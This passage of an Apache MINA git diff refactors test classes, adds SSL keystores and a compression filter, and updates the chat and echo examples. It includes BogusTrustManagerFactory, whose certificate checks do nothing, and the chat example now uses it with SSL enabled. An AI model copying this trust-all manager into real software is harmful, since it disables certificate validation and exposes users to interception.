newThread(final Runnable r) { + return new Thread(null, r, "MinaThread", 64 * 1024); + } + }; - acceptor = new NioSocketAcceptor(Runtime.getRuntime().availableProcessors() + 1); - acceptor.setReuseAddress( true ); - acceptor.getSessionConfig().setReceiveBufferSize(BUFFER_SIZE); + private OrderedThreadPoolExecutor executor; - acceptor.getFilterChain().addLast("threadPool", new ExecutorFilter(executor)); - acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(new MyProtocolCodecFactory())); + public static AtomicInteger sent = new AtomicInteger(0); - connector = new NioSocketConnector(Runtime.getRuntime().availableProcessors() + 1); + public MinaRegressionTest() throws IOException { + executor = new OrderedThreadPoolExecutor(0, 1000, 60, TimeUnit.SECONDS, THREAD_FACTORY); - connector.setConnectTimeoutMillis(TIMEOUT); - connector.getSessionConfig().setSendBufferSize(BUFFER_SIZE); - connector.getSessionConfig().setReuseAddress( true ); - } + acceptor = new NioSocketAcceptor(Runtime.getRuntime().availableProcessors() + 1); + acceptor.setReuseAddress(true); + acceptor.getSessionConfig().setReceiveBufferSize(BUFFER_SIZE); - public void connect() throws Exception { - final InetSocketAddress socketAddress = new InetSocketAddress("0.0.0.0", PORT); + acceptor.getFilterChain().addLast("threadPool", new ExecutorFilter(executor)); + acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(new MyProtocolCodecFactory())); - acceptor.setHandler(new MyIoHandler(LOCK)); + connector = new NioSocketConnector(Runtime.getRuntime().availableProcessors() + 1); - acceptor.bind(socketAddress); - connector.setHandler(this); + connector.setConnectTimeoutMillis(TIMEOUT); + connector.getSessionConfig().setSendBufferSize(BUFFER_SIZE); + connector.getSessionConfig().setReuseAddress(true); + } - final IoFutureListener listener = new IoFutureListener() { - public void operationComplete(ConnectFuture future) { - try {logger.info( "Write message to session " + future.getSession().getId() ); - final IoSession s = future.getSession(); - IoBuffer wb = IoBuffer.allocate(MSG_SIZE); - wb.put(new byte[MSG_SIZE]); - wb.flip(); - s.write(wb); - } catch (Exception e) { - logger.error("Can't send message: {}", e.getMessage()); + public void connect() throws Exception { + final InetSocketAddress socketAddress = new InetSocketAddress("0.0.0.0", PORT); + + acceptor.setHandler(new MyIoHandler(LOCK)); + + acceptor.bind(socketAddress); + connector.setHandler(this); + + final IoFutureListener listener = new IoFutureListener() { + public void operationComplete(ConnectFuture future) { + try { + logger.info("Write message to session " + future.getSession().getId()); + final IoSession s = future.getSession(); + IoBuffer wb = IoBuffer.allocate(MSG_SIZE); + wb.put(new byte[MSG_SIZE]); + wb.flip(); + s.write(wb); + } catch (Exception e) { + logger.error("Can't send message: {}", e.getMessage()); + } + } + }; + + for (int i = 0; i < MSG_COUNT; i++) { + ConnectFuture future = connector.connect(socketAddress); + future.addListener(listener); } - } - }; - for (int i = 0; i < MSG_COUNT; i++) { - ConnectFuture future = connector.connect(socketAddress); - future.addListener(listener); + synchronized (LOCK) { + LOCK.wait(50000); + } + + connector.dispose(); + acceptor.unbind(); + acceptor.dispose(); + executor.shutdownNow(); + + logger.info("Received: " + MyIoHandler.received.intValue()); + logger.info("Sent: " + sent.intValue()); + logger.info("FINISH"); + } + + @Override + public void exceptionCaught(IoSession session, Throwable cause) { + if (!(cause instanceof IOException)) { + logger.error("Exception: ", cause); + } else { + logger.info("I/O error: " + cause.getMessage()); + } + session.closeNow(); } - synchronized (LOCK) { - LOCK.wait(50000); + @Override + public void messageSent(IoSession session, Object message) throws Exception { + sent.incrementAndGet(); } - connector.dispose(); - acceptor.unbind(); - acceptor.dispose(); - executor.shutdownNow(); - - logger.info("Received: " + MyIoHandler.received.intValue()); - logger.info("Sent: " + sent.intValue()); - logger.info("FINISH"); - } - - @Override - public void exceptionCaught(IoSession session, Throwable cause) { - if (!(cause instanceof IOException)) { - logger.error("Exception: ", cause); - } else { - logger.info("I/O error: " + cause.getMessage()); + public static void main(String[] args) throws Exception { + logger.info("START"); + new MinaRegressionTest().connect(); } - session.close(true); - } - - @Override - public void messageSent(IoSession session, Object message) throws Exception { - sent.incrementAndGet(); - } - - public static void main(String[] args) throws Exception { - logger.info("START"); - new MinaRegressionTest().connect(); - } } \ No newline at end of file diff --git a/mina-core/src/test/java/testcase/MyIoHandler.java b/mina-core/src/test/java/testcase/MyIoHandler.java index de4b7c3911..88b9704a6c 100644 --- a/mina-core/src/test/java/testcase/MyIoHandler.java +++ b/mina-core/src/test/java/testcase/MyIoHandler.java @@ -36,74 +36,74 @@ * */ public class MyIoHandler extends IoHandlerAdapter { - private static final Logger logger = LoggerFactory.getLogger(MyIoHandler.class); - public static AtomicInteger received = new AtomicInteger(0); - public static AtomicInteger closed = new AtomicInteger(0); - private final Object LOCK; - - public MyIoHandler(Object lock) { - LOCK = lock; - } - - @Override - public void exceptionCaught(IoSession session, Throwable cause) { - if (!(cause instanceof IOException)) { - logger.error("Exception: ", cause); - } else { - logger.info("I/O error: " + cause.getMessage()); + private static final Logger logger = LoggerFactory.getLogger(MyIoHandler.class); + + public static AtomicInteger received = new AtomicInteger(0); + + public static AtomicInteger closed = new AtomicInteger(0); + + private final Object LOCK; + + public MyIoHandler(Object lock) { + LOCK = lock; + } + + @Override + public void exceptionCaught(IoSession session, Throwable cause) { + if (!(cause instanceof IOException)) { + logger.error("Exception: ", cause); + } else { + logger.info("I/O error: " + cause.getMessage()); + } + session.closeNow(); + } + + @Override + public void sessionOpened(IoSession session) throws Exception { + logger.info("Session " + session.getId() + " is opened"); + session.resumeRead(); } - session.close(true); - } - - @Override - public void sessionOpened(IoSession session) throws Exception { - logger.info( "Session " + session.getId() + " is opened" ); - session.resumeRead(); - } - - @Override - public void sessionCreated(IoSession session) throws Exception { - logger.info( "Creation of session " + session.getId() ); - session.setAttribute(OPEN); - session.suspendRead(); - } - - @Override - public void sessionClosed(IoSession session) throws Exception { - session.removeAttribute(OPEN); - logger.info("{}> Session closed", session.getId()); - final int clsd = closed.incrementAndGet(); - - if (clsd == MSG_COUNT) { - synchronized (LOCK) { - LOCK.notifyAll(); - } + + @Override + public void sessionCreated(IoSession session) throws Exception { + logger.info("Creation of session " + session.getId()); + session.setAttribute(OPEN); + session.suspendRead(); } - - int i = 0; - - try - { - int j = 2 / i; - } - catch ( Exception e ) - { - //e.printStackTrace(); + + @Override + public void sessionClosed(IoSession session) throws Exception { + session.removeAttribute(OPEN); + logger.info("{}> Session closed", session.getId()); + final int clsd = closed.incrementAndGet(); + + if (clsd == MSG_COUNT) { + synchronized (LOCK) { + LOCK.notifyAll(); + } + } + + int i = 0; + + try { + int j = 2 / i; + } catch (Exception e) { + //e.printStackTrace(); + } } - } - - @Override - public void messageReceived(IoSession session, Object message) throws Exception { - IoBuffer msg = (IoBuffer) message; - logger.info("MESSAGE: " + msg.remaining() + " on session " + session.getId() ); - final int rec = received.incrementAndGet(); - - if (rec == MSG_COUNT) { - synchronized (LOCK) { - LOCK.notifyAll(); - } + + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + IoBuffer msg = (IoBuffer) message; + logger.info("MESSAGE: " + msg.remaining() + " on session " + session.getId()); + final int rec = received.incrementAndGet(); + + if (rec == MSG_COUNT) { + synchronized (LOCK) { + LOCK.notifyAll(); + } + } + + session.closeNow(); } - - session.close(true); - } } diff --git a/mina-core/src/test/java/testcase/MyProtocolCodecFactory.java b/mina-core/src/test/java/testcase/MyProtocolCodecFactory.java index bcbb7e3299..1c99eaeef4 100644 --- a/mina-core/src/test/java/testcase/MyProtocolCodecFactory.java +++ b/mina-core/src/test/java/testcase/MyProtocolCodecFactory.java @@ -30,14 +30,15 @@ * */ public class MyProtocolCodecFactory implements ProtocolCodecFactory { - private ProtocolDecoder decoder = new MyRequestDecoder(); - private ProtocolEncoder encoder = new MyResponseEncoder(); + private ProtocolDecoder decoder = new MyRequestDecoder(); - public ProtocolDecoder getDecoder(IoSession sessionIn) throws Exception { - return decoder; - } + private ProtocolEncoder encoder = new MyResponseEncoder(); - public ProtocolEncoder getEncoder(IoSession sessionIn) throws Exception { - return encoder; - } + public ProtocolDecoder getDecoder(IoSession sessionIn) throws Exception { + return decoder; + } + + public ProtocolEncoder getEncoder(IoSession sessionIn) throws Exception { + return encoder; + } } diff --git a/mina-core/src/test/java/testcase/MyRequestDecoder.java b/mina-core/src/test/java/testcase/MyRequestDecoder.java index 23d6131a0b..8cb562ab34 100644 --- a/mina-core/src/test/java/testcase/MyRequestDecoder.java +++ b/mina-core/src/test/java/testcase/MyRequestDecoder.java @@ -33,57 +33,56 @@ * @author Apache MINA Project */ public class MyRequestDecoder extends CumulativeProtocolDecoder { - private static final Logger logger = LoggerFactory.getLogger(MyRequestDecoder.class); + private static final Logger logger = LoggerFactory.getLogger(MyRequestDecoder.class); - @Override - protected boolean doDecode(final IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { - if (!session.containsAttribute(OPEN)) { - logger.error("!decoding for closed session {}", session.getId()); - } + @Override + protected boolean doDecode(final IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { + if (!session.containsAttribute(OPEN)) { + logger.error("!decoding for closed session {}", session.getId()); + } - new Thread(new Runnable() { - public void run() { - try { - logger.debug( "Sleep for 500 ms for session {}", session.getId() ); - Thread.sleep(500); - logger.debug( "Wake up now from a 500 ms sleep for session {}", session.getId() ); - } catch (InterruptedException ignore) {} - session.close(true); - } - }).start(); + new Thread(new Runnable() { + public void run() { + try { + logger.debug("Sleep for 500 ms for session {}", session.getId()); + Thread.sleep(500); + logger.debug("Wake up now from a 500 ms sleep for session {}", session.getId()); + } catch (InterruptedException ignore) { + } + session.closeNow(); + } + }).start(); - // sleep so that session.close(true) is already called when decoding continues - logger.debug( "Sleep for 1000 ms for session {}", session.getId() ); - Thread.sleep(1000); - logger.debug( "Wake up now from a 1000 ms sleep for session {}", session.getId() ); + // sleep so that session.closeNow() is already called when decoding continues + logger.debug("Sleep for 1000 ms for session {}", session.getId()); + Thread.sleep(1000); + logger.debug("Wake up now from a 1000 ms sleep for session {}", session.getId()); - if (!session.containsAttribute(OPEN)) { - logger.error("!session {} closed before decoding completes!", session.getId()); - int i = 0; - - try - { - int j = 2 / i; - } - catch ( Exception e ) - { - //e.printStackTrace(); - } - } + if (!session.containsAttribute(OPEN)) { + logger.error("!session {} closed before decoding completes!", session.getId()); + int i = 0; - // no full message - if (in.remaining() < MSG_SIZE) return false; + try { + int j = 2 / i; + } catch (Exception e) { + //e.printStackTrace(); + } + } - logger.info("Done decoding for session {}", session.getId()); + // no full message + if (in.remaining() < MSG_SIZE) + return false; - if (in.hasRemaining() && !session.isClosing() && session.isConnected()) { - IoBuffer tmp = IoBuffer.allocate(in.remaining()); - tmp.put(in); - tmp.flip(); - out.write(tmp); - return true; - } + logger.info("Done decoding for session {}", session.getId()); - return false; - } + if (in.hasRemaining() && !session.isClosing() && session.isConnected()) { + IoBuffer tmp = IoBuffer.allocate(in.remaining()); + tmp.put(in); + tmp.flip(); + out.write(tmp); + return true; + } + + return false; + } } diff --git a/mina-core/src/test/java/testcase/MyResponseEncoder.java b/mina-core/src/test/java/testcase/MyResponseEncoder.java index 3bc64ae4cd..03636c224f 100644 --- a/mina-core/src/test/java/testcase/MyResponseEncoder.java +++ b/mina-core/src/test/java/testcase/MyResponseEncoder.java @@ -28,11 +28,11 @@ * @author Apache MINA Project */ public class MyResponseEncoder implements ProtocolEncoder { - public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { - } + } - public void dispose(IoSession session) throws Exception { + public void dispose(IoSession session) throws Exception { - } + } } diff --git a/mina-core/src/test/resources/log4j.properties b/mina-core/src/test/resources/log4j.properties index b4d371d68d..d97f14ff31 100644 --- a/mina-core/src/test/resources/log4j.properties +++ b/mina-core/src/test/resources/log4j.properties @@ -16,11 +16,14 @@ ############################################################################# # Please don't modify the log level until we reach to acceptable test coverage. # It's very useful when I test examples manually. -log4j.rootCategory=INFO, stdout +log4j.rootCategory=ERROR, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout -log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] %p [%c] - %m%n +log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] [%t] %p %c - %m%n # you could use this pattern to test the MDC with the Chat server -#log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] %t %p %X{name} [%X{user}] [%X{remoteIp}:%X{remotePort}] [%c] - %m%n \ No newline at end of file +#log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] %t %p %X{name} [%X{user}] [%X{remoteIp}:%X{remotePort}] [%c] - %m%n + +#log4j.logger.org.apache.mina.filter.ssl.SSLFilter=DEBUG +#log4j.logger.org.apache.mina.filter.ssl.SSLHandler=DEBUG diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-cn.truststore b/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-cn.truststore new file mode 100644 index 0000000000..b9d3be86cc Binary files /dev/null and b/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-cn.truststore differ diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-san-ext.truststore b/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-san-ext.truststore new file mode 100644 index 0000000000..d6495dc1c4 Binary files /dev/null and b/mina-core/src/test/resources/org/apache/mina/filter/ssl/client-san-ext.truststore differ diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/emptykeystore.sslTest b/mina-core/src/test/resources/org/apache/mina/filter/ssl/emptykeystore.sslTest new file mode 100644 index 0000000000..65d4b65283 Binary files /dev/null and b/mina-core/src/test/resources/org/apache/mina/filter/ssl/emptykeystore.sslTest differ diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/keystore.sslTest b/mina-core/src/test/resources/org/apache/mina/filter/ssl/keystore.jks old mode 100755 new mode 100644 similarity index 100% rename from mina-core/src/test/resources/org/apache/mina/filter/ssl/keystore.sslTest rename to mina-core/src/test/resources/org/apache/mina/filter/ssl/keystore.jks diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-cn.keystore b/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-cn.keystore new file mode 100644 index 0000000000..ffb935eaa7 Binary files /dev/null and b/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-cn.keystore differ diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-san-ext.keystore b/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-san-ext.keystore new file mode 100644 index 0000000000..600ef3a7a5 Binary files /dev/null and b/mina-core/src/test/resources/org/apache/mina/filter/ssl/server-san-ext.keystore differ diff --git a/mina-core/src/test/resources/org/apache/mina/filter/ssl/truststore.sslTest b/mina-core/src/test/resources/org/apache/mina/filter/ssl/truststore.jks old mode 100755 new mode 100644 similarity index 100% rename from mina-core/src/test/resources/org/apache/mina/filter/ssl/truststore.sslTest rename to mina-core/src/test/resources/org/apache/mina/filter/ssl/truststore.jks diff --git a/mina-example/pom.xml b/mina-example/pom.xml index 57d4d2071b..803af10b74 100644 --- a/mina-example/pom.xml +++ b/mina-example/pom.xml @@ -21,7 +21,7 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-example @@ -57,6 +57,13 @@ bundle + + ${project.groupId} + mina-filter-compression + ${project.version} + bundle + + org.springframework spring @@ -73,5 +80,16 @@ jcl-over-slf4j + + org.apache.commons + commons-collections4 + 4.5.0 + + + + com.nqzero + permit-reflect + 0.4 + diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/BogusTrustManagerFactory.java b/mina-example/src/main/java/org/apache/mina/example/chat/BogusTrustManagerFactory.java similarity index 76% rename from mina-core/src/main/java/org/apache/mina/filter/ssl/BogusTrustManagerFactory.java rename to mina-example/src/main/java/org/apache/mina/example/chat/BogusTrustManagerFactory.java index 2493a2997d..cbdf77772f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/BogusTrustManagerFactory.java +++ b/mina-example/src/main/java/org/apache/mina/example/chat/BogusTrustManagerFactory.java @@ -17,7 +17,7 @@ * under the License. * */ -package org.apache.mina.filter.ssl; +package org.apache.mina.example.chat; import java.security.InvalidAlgorithmParameterException; import java.security.KeyStore; @@ -39,25 +39,27 @@ * @author Apache MINA Project */ public class BogusTrustManagerFactory extends TrustManagerFactory { - - public BogusTrustManagerFactory() { - super(new BogusTrustManagerFactorySpi(), new Provider("MinaBogus", 1.0, - "") { - private static final long serialVersionUID = -4024169055312053827L; - }, "MinaBogus"); - } - private static final X509TrustManager X509 = new X509TrustManager() { - public void checkClientTrusted(X509Certificate[] x509Certificates, - String s) throws CertificateException { + /** + * {@inheritDoc} + */ + @Override + public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // Do nothing } - public void checkServerTrusted(X509Certificate[] x509Certificates, - String s) throws CertificateException { + /** + * {@inheritDoc} + */ + @Override + public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } @@ -65,22 +67,38 @@ public X509Certificate[] getAcceptedIssuers() { private static final TrustManager[] X509_MANAGERS = new TrustManager[] { X509 }; - private static class BogusTrustManagerFactorySpi extends - TrustManagerFactorySpi { + /** + * Creates a new BogusTrustManagerFactory instance + */ + @SuppressWarnings("deprecation") + public BogusTrustManagerFactory() { + super(new BogusTrustManagerFactorySpi(), new Provider("MinaBogus", 1.0, "") { + private static final long serialVersionUID = -4024169055312053827L; + }, "MinaBogus"); + } + private static class BogusTrustManagerFactorySpi extends TrustManagerFactorySpi { + /** + * {@inheritDoc} + */ @Override protected TrustManager[] engineGetTrustManagers() { return X509_MANAGERS; } + /** + * {@inheritDoc} + */ @Override protected void engineInit(KeyStore keystore) throws KeyStoreException { // noop } + /** + * {@inheritDoc} + */ @Override - protected void engineInit( - ManagerFactoryParameters managerFactoryParameters) + protected void engineInit(ManagerFactoryParameters managerFactoryParameters) throws InvalidAlgorithmParameterException { // noop } diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/ChatProtocolHandler.java b/mina-example/src/main/java/org/apache/mina/example/chat/ChatProtocolHandler.java index 8f9bf4ab87..bf85fda59b 100644 --- a/mina-example/src/main/java/org/apache/mina/example/chat/ChatProtocolHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/chat/ChatProtocolHandler.java @@ -39,16 +39,21 @@ public class ChatProtocolHandler extends IoHandlerAdapter { private final static Logger LOGGER = LoggerFactory.getLogger(ChatProtocolHandler.class); private final Set sessions = Collections - .synchronizedSet(new HashSet()); + .synchronizedSet(new HashSet<>()); private final Set users = Collections - .synchronizedSet(new HashSet()); + .synchronizedSet(new HashSet<>()); @Override public void exceptionCaught(IoSession session, Throwable cause) { LOGGER.warn("Unexpected exception.", cause); // Close connection when unexpected exception is caught. - session.close(true); + session.closeNow(); + } + + @Override + public void messageSent(IoSession session, Object message) { + System.out.println( message ); } @Override @@ -68,7 +73,7 @@ public void messageReceived(IoSession session, Object message) { case ChatCommand.QUIT: session.write("QUIT OK"); - session.close(true); + session.closeNow(); break; case ChatCommand.LOGIN: @@ -148,7 +153,7 @@ public void kick(String name) { synchronized (sessions) { for (IoSession session : sessions) { if (name.equals(session.getAttribute("user"))) { - session.close(true); + session.closeNow(); break; } } diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/Main.java b/mina-example/src/main/java/org/apache/mina/example/chat/Main.java index d0a74a0e85..a936974bbe 100644 --- a/mina-example/src/main/java/org/apache/mina/example/chat/Main.java +++ b/mina-example/src/main/java/org/apache/mina/example/chat/Main.java @@ -22,9 +22,10 @@ import java.net.InetSocketAddress; import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; -import org.apache.mina.example.echoserver.ssl.BogusSslContextFactory; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.filter.compression.CompressionFilter; import org.apache.mina.filter.logging.LoggingFilter; import org.apache.mina.filter.logging.MdcInjectionFilter; import org.apache.mina.filter.ssl.SslFilter; @@ -40,7 +41,7 @@ public class Main { private static final int PORT = 1234; /** Set this to true if you want to make the server SSL */ - private static final boolean USE_SSL = false; + private static final boolean USE_SSL = true; public static void main(String[] args) throws Exception { NioSocketAcceptor acceptor = new NioSocketAcceptor(); @@ -54,6 +55,9 @@ public static void main(String[] args) throws Exception { addSSLSupport(chain); } + // Add the compression filter + chain.addLast( "Compressor", new CompressionFilter() ); + chain.addLast("codec", new ProtocolCodecFilter( new TextLineCodecFactory())); @@ -68,7 +72,7 @@ public static void main(String[] args) throws Exception { private static void addSSLSupport(DefaultIoFilterChainBuilder chain) throws Exception { - SslFilter sslFilter = new SslFilter(BogusSslContextFactory + SslFilter sslFilter = new SslFilter(BogusSSLContextFactory .getInstance(true)); chain.addLast("sslFilter", sslFilter); System.out.println("SSL ON"); diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/client/ChatClientSupport.java b/mina-example/src/main/java/org/apache/mina/example/chat/client/ChatClientSupport.java index f0bdf65646..cae59ad617 100644 --- a/mina-example/src/main/java/org/apache/mina/example/chat/client/ChatClientSupport.java +++ b/mina-example/src/main/java/org/apache/mina/example/chat/client/ChatClientSupport.java @@ -27,12 +27,13 @@ import org.apache.mina.core.future.ConnectFuture; import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.session.IoSession; -import org.apache.mina.example.echoserver.ssl.BogusSslContextFactory; -import org.apache.mina.filter.ssl.SslFilter; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.filter.compression.CompressionFilter; import org.apache.mina.filter.logging.LoggingFilter; import org.apache.mina.filter.logging.MdcInjectionFilter; +import org.apache.mina.filter.ssl.SslFilter; import org.apache.mina.transport.socket.nio.NioSocketConnector; /** @@ -69,14 +70,16 @@ public boolean connect(NioSocketConnector connector, SocketAddress address, new TextLineCodecFactory()); connector.getFilterChain().addLast("mdc", new MdcInjectionFilter()); + + // Add the compression filter + connector.getFilterChain().addLast( "Compression", new CompressionFilter() ); connector.getFilterChain().addLast("codec", CODEC_FILTER); connector.getFilterChain().addLast("logger", LOGGING_FILTER); if (useSsl) { - SSLContext sslContext = BogusSslContextFactory + SSLContext sslContext = BogusSSLContextFactory .getInstance(false); SslFilter sslFilter = new SslFilter(sslContext); - sslFilter.setUseClientMode(true); connector.getFilterChain().addFirst("sslFilter", sslFilter); } @@ -100,7 +103,11 @@ public void login() { } public void broadcast(String message) { - session.write("BROADCAST " + message); + try { + session.write("BROADCAST " + message); + } catch ( Exception e ) { + e.printStackTrace(); + } } public void quit() { @@ -110,7 +117,7 @@ public void quit() { // Wait until the chat ends. session.getCloseFuture().awaitUninterruptibly(); } - session.close(true); + session.closeNow(); } } diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/client/SwingChatClient.java b/mina-example/src/main/java/org/apache/mina/example/chat/client/SwingChatClient.java index 2627d00c4a..3be5feb0af 100644 --- a/mina-example/src/main/java/org/apache/mina/example/chat/client/SwingChatClient.java +++ b/mina-example/src/main/java/org/apache/mina/example/chat/client/SwingChatClient.java @@ -44,7 +44,7 @@ import org.apache.mina.transport.socket.nio.NioSocketConnector; /** - * Simple chat client based on Swing & MINA that implements the chat protocol. + * Simple chat client based on Swing & MINA that implements the chat protocol. * * @author Apache MINA Project */ @@ -259,7 +259,6 @@ private int parsePort(String s) { } public void connected() { - //client.login(); } public void disconnected() { diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/client/package-info.java b/mina-example/src/main/java/org/apache/mina/example/chat/client/package-info.java new file mode 100644 index 0000000000..ce5fe522e0 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/chat/client/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Swing based chat client. + */ +package org.apache.mina.example.chat.client; diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/client/package.html b/mina-example/src/main/java/org/apache/mina/example/chat/client/package.html deleted file mode 100644 index ecc5353713..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/chat/client/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Swing based chat client. - - diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/package-info.java b/mina-example/src/main/java/org/apache/mina/example/chat/package-info.java new file mode 100644 index 0000000000..121c776336 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/chat/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Chat server which demonstates using the text line codec and Spring integration. + */ +package org.apache.mina.example.chat; diff --git a/mina-example/src/main/java/org/apache/mina/example/chat/package.html b/mina-example/src/main/java/org/apache/mina/example/chat/package.html deleted file mode 100644 index f742579e04..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/chat/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Chat server which demonstates using the text line codec and Spring integration. - - diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/EchoProtocolHandler.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/EchoProtocolHandler.java index ee9e1804db..74b67c5fa3 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/EchoProtocolHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/EchoProtocolHandler.java @@ -24,7 +24,6 @@ import org.apache.mina.core.service.IoHandlerAdapter; import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; -import org.apache.mina.filter.ssl.SslFilter; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -39,9 +38,6 @@ public class EchoProtocolHandler extends IoHandlerAdapter { @Override public void sessionCreated(IoSession session) { session.getConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10); - - // We're going to use SSL negotiation notification. - session.setAttribute(SslFilter.USE_NOTIFICATION); } @Override @@ -61,7 +57,7 @@ public void sessionIdle(IoSession session, IdleStatus status) { @Override public void exceptionCaught(IoSession session, Throwable cause) { - session.close(true); + session.closeNow(); } @Override diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/Main.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/Main.java index 3e740645f1..078f79e9e9 100644 --- a/mina-example/src/main/java/org/apache/mina/example/echoserver/Main.java +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/Main.java @@ -22,7 +22,8 @@ import java.net.InetSocketAddress; import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; -import org.apache.mina.example.echoserver.ssl.BogusSslContextFactory; +import org.apache.mina.example.echoserver.ssl.BogusSSLContextFactory; +import org.apache.mina.filter.compression.CompressionFilter; import org.apache.mina.filter.ssl.SslFilter; import org.apache.mina.transport.socket.SocketAcceptor; import org.apache.mina.transport.socket.nio.NioSocketAcceptor; @@ -48,6 +49,9 @@ public static void main(String[] args) throws Exception { if (USE_SSL) { addSSLSupport(chain); } + + // Add the compressor filter + chain.addLast( "Compressor", new CompressionFilter() ); // Bind acceptor.setHandler(new EchoProtocolHandler()); @@ -64,7 +68,7 @@ public static void main(String[] args) throws Exception { private static void addSSLSupport(DefaultIoFilterChainBuilder chain) throws Exception { - SslFilter sslFilter = new SslFilter(BogusSslContextFactory + SslFilter sslFilter = new SslFilter(BogusSSLContextFactory .getInstance(true)); chain.addLast("sslFilter", sslFilter); System.out.println("SSL ON"); diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/package-info.java b/mina-example/src/main/java/org/apache/mina/example/echoserver/package-info.java new file mode 100644 index 0000000000..414e4bb44b --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/echoserver/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Echo server which demonstrates low-level I/O layer and SSL support. + */ +package org.apache.mina.example.echoserver; diff --git a/mina-example/src/main/java/org/apache/mina/example/echoserver/package.html 